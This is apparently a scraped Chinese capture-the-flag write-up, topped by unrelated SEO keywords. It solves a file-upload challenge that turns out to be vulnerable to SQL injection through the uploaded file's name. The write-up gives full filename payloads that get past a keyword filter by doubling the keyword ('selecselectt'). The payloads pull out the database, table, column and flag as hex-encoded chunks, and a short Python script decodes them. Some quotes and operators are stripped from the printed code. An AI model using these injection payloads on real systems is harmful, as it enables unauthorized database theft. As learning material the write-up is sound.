湛江网站建设产品优化,怎么知道网站是php,重庆装修公司避坑指南,电子商务系统的组成1. 题目描述
打开链接#xff0c;是这样的一个注册界面 先试着注册一个账号看看#xff0c;这里简单操作#xff0c;注册test/test#xff0c;注册完后进行登录 登录成功后进入到这样一个文件上传界面。当前从界面上得到的信息暂时就是这些了。
2. 思路分析
既然存在上传…1. 题目描述
打开链接是这样的一个注册界面 先试着注册一个账号看看这里简单操作注册test/test注册完后进行登录 登录成功后进入到这样一个文件上传界面。当前从界面上得到的信息暂时就是这些了。
2. 思路分析
既然存在上传那么大概率上传点存在漏洞我们先试试随便上传一个php文件 这里提示很明显了说明存在WAF对我们的文件拓展名进行了限制
试着修改下文件后缀这里修改为jpg格式的提示我们上传成功 既然上传成功了试着用蚁剑连接下发现失败不过也正常我们不知道文件的存储路径而且上传的不是php。
除了文件上传外是否还有其它的思路呢我们注意到我们输入的文件名进行了回显这里就可能存在sql注入我们简单试下 注意到我们传入select关键字时回显值中已经没有select了说明被过滤掉了为什么要过滤select呢说明这里大概率存在sql注入。
好了经过简单的验证虽然说这道题名字取的是文件上传但是实际上是文件名sql注入。
3. 解题过程
从上面的截图来看实际上这道题是存在WAF的因为过滤了select那么我们首先要考虑的是如何绕过WAF
3.1 绕过WAF的限制
既然存在sql注入那么selectfrom等关键字必须存在绕过方法试了下大小写无法绕过但是双写可以 试着查看下数据库 发现回显是0说明这里大概率对回显进行了限制而且限制了必须为数字因此我们需要对sql查询语句进行调整使得查出来的都是数字这里做法是先转成16进制再转化为10进制 但是回显后发现变成科学计数法了因此我们每次只能取一部分字符这里验证了一下每次最多只能取12个字符如果取13个取出来的值就会变成科学计数法表示。
此时的文件名为a (selecselectt conv(substr(hex(database()), 1, 12), 16, 10)) .jpg 然后再将这个十进制转化为字符串这里使用如下脚本即可
import sysnum int(sys.argv[1])
# 10进制 - 16进制
hex_num hex(num)[2:]# 16进制 - 字符串
bytes_databytes.fromhex(hex_num)
str.join(chr(byte) for byte in bytes_data)
print(str)执行该脚本转为的字符串为web_up 这个看上去不全因此按照上述的步骤获取数据库名的后面的字符这里注意文件数小于10个如果超过10个那么需要注销并重新登录
继续将文件名设置为a (selecselectt conv(substr(hex(database()), 13, 12), 16, 10)) .jpg 所以最终拼接起来得到的数据库名为web_upload
3.2 重复上述步骤进一步获取数据库中的其它字段表名列名具体的值
获取表名的payload如下
a (selecselectt conv(substr(hex((seleselectct table_name frofromm information_schema.tables where table_schemaweb_upload limit 1, 1)), 1, 12), 16, 10)) .jpg
a (selecselectt conv(substr(hex((seleselectct table_name frofromm information_schema.tables where table_schemaweb_upload limit 1, 1)), 13, 12), 16, 10)) .jpg
a (selecselectt conv(substr(hex((seleselectct table_name frofromm information_schema.tables where table_schemaweb_upload limit 1, 1)), 25, 12), 16, 10)) .jpg
得到结果 转换为字符串为hello_flag_is_here 获取表中字段名的payload如下
a (selecselectt conv(substr(hex((seleselectct column_name frofromm information_schema.columns where table_namehello_flag_is_here limit 0, 1)), 1, 12), 16, 10)) .jpg
a (selecselectt conv(substr(hex((seleselectct column_name frofromm information_schema.columns where table_namehello_flag_is_here limit 0, 1)), 13, 12), 16, 10)) .jpg
得到结果
转换为字符串i_am_flag 最后查询表中字段值的payload如下
a (selecselectt conv(substr(hex((seleselectct i_am_flag frofromm hello_flag_is_here)), 1, 12), 16, 10)) .jpg
a (selecselectt conv(substr(hex((seleselectct i_am_flag frofromm hello_flag_is_here)), 13, 12), 16, 10)) .jpg
a (selecselectt conv(substr(hex((seleselectct i_am_flag frofromm hello_flag_is_here)), 25, 12), 16, 10)) .jpg
得到结果 同样转换成字符串得到flag为!!_m_Th.e_F!lag 4. 总结
整体来看这道题属于一道综合性比较强的题目虽然是文件上传但是实际的攻击点在于sql注入这里是有一点迷惑性的。然后就是针对sql注入题目中也涉及到了各种sql绕过手段以及进制转化相关的知识点因此这里还是有一定难度的不过最终做出来的话也可以积累很多知识收获很大。